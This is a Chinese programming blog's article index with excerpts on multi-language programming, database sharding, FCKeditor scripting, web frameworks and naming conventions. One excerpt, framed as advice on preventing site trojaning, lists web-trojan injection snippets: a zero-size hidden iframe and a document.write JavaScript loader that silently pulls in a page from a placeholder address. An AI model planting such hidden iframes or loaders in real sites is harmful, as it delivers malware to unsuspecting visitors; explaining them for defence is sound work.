
编程方法
sollion
爱好软件编程,希望大家多多关照!
展开
-
基于范型的多语言编程
你在同一个项目中会用到多少种语言?如果算一算的话,会发现数量真的不少。我指的是XML、Java、XSLT、HTML和CSS等等。但是,你为什么会用到它们,原因无非在于它们就是主流,更何况,它们可能是某个必需框架下的唯一可选的语言。实际上,你几乎是被迫使用这些语言的。所有选择都已经替你完成了。样式?CSS。配置?通常是XML。Web界面描述?Html。然而,如果你想真正采用多语言编程,就不可避免地要转载 2009-01-08 09:35:00 · 772 阅读 · 0 评论 -
如何防止网站被挂马?
<br />挂马代码大全 <br />一:框架挂马 <br /><iframe src=地址 width=0 height=0></iframe> <br />二:js文件挂马 <br />首先将以下代码 <br />document.write("<iframe width='0' height='0' src='地址'></iframe>"); <br />保存为xxx.js, <br />则JS挂马代码为 <br /><script language=javascript src=xxx.js></s转载 2010-06-13 16:43:00 · 790 阅读 · 0 评论 -
数据库已死(网友观点)
<br />我不同意什么“数据库已死”的说法,但我也不同意在系统设计阶段就让设计数据库的工作掺和进来,我想这也是楼主想说的。 <br /><br />我不止一次地在项目中听到人说:“干嘛折腾什么业务逻辑的设计,把数据库设计好了,你想显示什么,一个sql语句就能搞定。”说这话的人大概没有想过:“干嘛折腾什么高级语言,把汇编学好了,什么软件编不出来。”很多时候,数据库的结构设计好了,并不能表示完成系统设计也指日可待了。若在设计阶段就轻视业务逻辑层面上的面向对象的设计,后续的工作将举步维艰。 <br /><br转载 2010-07-04 10:44:00 · 1201 阅读 · 0 评论 -
“评论盖楼”的设计思路
1、这样的需求其实挺特殊,每个“楼”都是一个独立的“树”,每个“楼”都“几乎”不用依赖其他的“楼”。 最简单、最高效的方式是用文件来存储每一个楼,每个新闻一个楼,使用xml、json等树形结构的文件格式来规范评论和新闻内容。这样每进一个楼只需要访问一个文件,发评论只是创建一个文件,把楼盖高,只是给增加新内容。而新闻列表可以存储在数据库中,也可以用lucene做索引。 如果一定要用数据库实现原创 2010-02-27 22:57:00 · 5041 阅读 · 6 评论 -
三种无刷新方法
1、javascript 方式setInterval("refreshTime()",1000);function refreshTime(){var dateObj = new Date();time.innerHTML = dateObj.toLocaleDateString();} 2、ajax 方式function doRef(){var url = "";var da原创 2010-02-23 12:42:00 · 801 阅读 · 0 评论 -
大话--编程语言
(一): 取代C/C++的语言还会叫C/C++你太极端了,为什么非说其他编程语言是C/C++写出来的呢?按照你的说法第一个C的编译器一定是汇编写出来的,而第二个C的编译器就可以用C语言写并用第一个C编译器来编译,这样C语言以后的编译器就全都可以用C写了。同理,第一个Java虚拟机肯定要C语言(或其他语言但不可能是Java语言本身)写,但是第二个Java虚拟机可以用Java写并由第一个虚拟机中的原创 2009-12-13 21:23:00 · 1253 阅读 · 0 评论 -
javascript获取和设置FCKeditor内容
利用Javascript取和设FCKeditor值也是非常容易的,如下:// 获取编辑器中HTML内容function getEditorHTMLContents(EditorName) { var oEditor = FCKeditorAPI.GetInstance(EditorName); return(oEditor.GetXHTML(true)); } // 获取编辑器中文字内转载 2009-12-10 22:03:00 · 584 阅读 · 0 评论 -
set_name__method (也谈命名)
文件名称: set_name__method 命名1: 简单式命名, 单词意思, 设置名称方法, 前面 设置名称(可看作一个词组, 即所写的 set_name), 而后面的方法(即所写的 method, 作为一个名称单独存在, 但为了和前面形容词加以区分对待, 这里用了双下划线), 最后写成命名为 set_name__method. 还有这种简单式命名如: set_name_method,原创 2009-11-11 18:13:00 · 922 阅读 · 0 评论 -
用C设计,用C++编码
网友观点: (一): 我认为很多人没有理解linus或者myan的意思,我举个实例。我们现在要设计一套网络-客户端软件,我们要先把协议定好,把界面和后台交互设计想好,把容错和恢复想好,我认为这些是最重要的,至于编码,用C也可以编出来,用C++也可以编出来,甚至用JAVA也能编出来,关键是整个软件的架构要清晰,这样软件本身才不会出大问题。当然对于那种比较小的软件,设计就不是那么重原创 2009-10-28 20:33:00 · 772 阅读 · 0 评论 -
闲话Web编程模型:WebForm、MVP还是MVC?
首先什么是Web编程模型?在这里我们定义Web编程模型为如何编写代码生成html返回给最终用户的方法。它包括两部分,一个是如何编写Web应用程序的规范,另一个则是实现这一规范的Web编程框架,而ASP.NET就是用来实现WebForm模型的框架,当然ASP.NET的功能比较强大,留下了足够的空间,足够我们在此基础之上实现另外的模型,比如MonoRails。换个比方,和ASP.NET比较转载 2009-10-14 12:20:00 · 925 阅读 · 0 评论 -
"静态页"有利于网站性能和SEO
http://www.cnblogs.com/JeffreyZhao/archive/2009/07/05/talk-about-page-statilization.html 文章摘录: 1. 良好的HTML,推广和内聚先说说“静态like的URL”,也就是所谓.html,我觉得这样谈SEO比较不靠谱,除非我们能准确地知道搜索引擎是会对“.html”有特殊优惠,但我没有见到过原创 2009-10-04 00:48:00 · 1603 阅读 · 0 评论 -
flash在网页要做超链接
一般flash banner的超链接在做flash的时候就要先做好,但有时候,会碰到没做超链接的flash在网页要做超链接,以下方法能解决。就是增加标签,如:http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="472" height="48"> http://转载 2009-09-25 15:20:00 · 784 阅读 · 0 评论 -
数据库水平切分的实现原理解析---分库,分表,主从,集群,负载均衡器
第1章 引言随着互联网应用的广泛普及,海量数据的存储和访问成为了系统设计的瓶颈问题。对于一个大型的互联网应用,每天几十亿的PV无疑对数据库造成了相当高的负载。对于系统的稳定性和扩展性造成了极大的问题。通过数据切分来提高网站性能,横向扩展数据层已经成为架构研发人员首选的方式。水平切分数据库,可以降低单台机器的负载,同时最大限度的降低了了宕机造成的损失。通过负载均衡策略,有效的降低了单台机器的访问负载,降低了宕机的可能性;通过集群方案,解决了数据库宕机带来的单点数据库不能访问的问题;通过读写分离策略更是最大限转载 2010-10-29 08:51:00 · 614 阅读 · 0 评论